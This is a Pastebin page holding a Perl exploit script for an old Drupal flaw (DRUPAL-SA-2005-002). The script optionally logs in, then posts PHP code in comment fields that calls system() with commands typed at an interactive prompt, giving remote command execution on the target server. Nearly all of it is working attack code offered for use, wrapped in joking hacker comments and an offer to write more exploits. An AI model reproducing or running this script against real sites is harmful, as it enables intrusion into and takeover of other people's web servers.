Advertisement
Aluf

DRUPAL-SA-2005-002 php injection

Jan 31st, 2015
384
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.15 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # DRUPAL-SA-2005-002 php injection in comments (yes, its lame)
  3. # Hax0r code here, read before execute
  4. #
  5. # Run without arguments to show the help.
  6. #
  7. # BLINK! BLINK! BLINK! BLINK!
  8. #
  9. # Feel free to port to another stupid script language (mIRC,
  10. # python, TCL or orthers), and send to securiteam (AGAIN)
  11. #
  12. # Theo, this one hasn't been tested in BSD.. yet!
  13. # infohacking: there're a lot of xss in drupal, contact me if you want
  14. # to program some exploits.
  15. #
  16. # BLINK! BLINK! BLINK! BLINK!
  17. #
  18. #
  19. # HERE YOU CAN PUT YOUR BANNER!!!! THOUSENDS OF PEOPLE IS READING THIS LINE
  20. # contact me for pricing and offerings.
  21. #
  22. # !dSR: yubiiiiii yeooooooooooo
  23. #
  24. use LWP::UserAgent;
  25. use HTTP::Cookies;
  26. use LWP::Simple;
  27. use HTTP::Request::Common "POST";
  28. use HTTP::Response;
  29. use Getopt::Long;
  30. use strict;
  31.  
  32. $| = 1; # ;1 = |$
  33.  
  34. my ($proxy,$proxy_user,$proxy_pass);
  35. my ($host,$debug,$drupal_user,$drupal_pass);
  36. my $options = GetOptions (
  37. 'host=s' => \$host,
  38. 'proxy=s' => \$proxy,
  39. 'proxy_user=s' => \$proxy_user,
  40. 'proxy_pass=s' => \$proxy_pass,
  41. 'drupal_user=s' => \$drupal_user,
  42. 'drupal_pass=s' => \$drupal_pass,
  43. 'debug' => \$debug);
  44.  
  45. &help unless ($host);
  46.  
  47. while (1){
  48. print "druppy461\$ ";
  49. my $cmd = <STDIN>;
  50. &druppy($cmd);
  51. }
  52. exit (1); # could be replaced with exit(2)
  53.  
  54.  
  55. sub druppy {
  56. chomp (my $cmd = shift);
  57. LWP::Debug::level('+') if $debug;
  58.  
  59. my $ua = new LWP::UserAgent(
  60. cookie_jar=> { file => "$$.cookie" }); # this is a random feature
  61. $ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");
  62.  
  63. if ($drupal_user) { # no need to exploit
  64. my ($mhost, $h);
  65. if ($host =~ /(http:\/\/.*?)\?q=/) {
  66. $mhost = $1;
  67. $h = $mhost . "?q=user/login";
  68. } #some magic hacking here
  69. else {
  70. $host =~ /(.*?)\/.*?\//; $mhost =$1;
  71. $h = $mhost . "/user/login";
  72. }
  73. print $h . "\n" if $debug;
  74. my $req = POST $h,[
  75. 'edit[name]' => "$drupal_user",
  76. 'edit[pass]' => "$drupal_pass"
  77. ]; #grab these, and send to dsr!
  78. print $req->as_string() if $debug;
  79. my $res = $ua->request($req);
  80. print $res->content() if $debug;
  81. if ($res->is_redirect eq 1) {
  82. print "Logged\n" if $debug;
  83. }
  84. }
  85.  
  86. $ua->proxy(['http'] => $proxy) if $proxy;
  87. my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
  88. my $res = $ua->get("$host");
  89. my $html = $res->content();
  90. my @op; # buffer overflow here
  91. foreach (split(/\n/,$html)) {
  92. if ( m/name="op" value="(.*?)"/){
  93. push(@op,$1);
  94. }
  95. }# xss here
  96.  
  97. my $ok = 0; # globlal for admin purposes
  98. foreach my $op (@op) {
  99. my $req = POST "$host",[
  100. 'edit[subject]' => 'test',
  101. 'edit[comment]' =>
  102. "<?php print(\"BLAH\\n\");system(\"$cmd\"); print(\"BLAH\\n\"); php?>",
  103. 'edit[format]' => '2',
  104. 'edit[cid]' => "", # drupal is sick.. it doesn't need arguments
  105. 'edit[pid]' => "", # they use it to grab some statistycal information
  106. 'edit[nid]' => "", # about users conduits. Don't buy in internet using drupal
  107. 'op' => "$op"
  108. ];
  109.  
  110. print $req->as_string() if $debug;
  111. my $res = $ua->request($req);
  112. my $html = $res->content();
  113. print $html if $debug;
  114. foreach (split(/\n/,$html)) {
  115. return if $ok gt "1"; # super hack de phrack
  116. if (/BLAH/) { $ok++; next }
  117. print "$_\n" if $ok eq "1"; # /n is for another line in screen
  118. }
  119. }
  120. }
  121.  
  122.  
  123. sub help {
  124. print "Syntax: ./$0 <url> [options]\n";
  125. print "\t--drupal_user, --drupal_pass (needed if dont allow anonymous posts)\n";
  126. print "\t--proxy (http), --proxy_user, --proxy_pass\n";
  127. print "\t--debug\n";
  128. print "\nExample\n";
  129. print "bash# $0 --host=http://www.server.com/?q=comment/reply/1\n";
  130. print "\n";
  131. exit(1);
  132. }
  133.  
  134.  
  135. #sub 0day_solaris {
  136. # please put your code here
  137. #}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement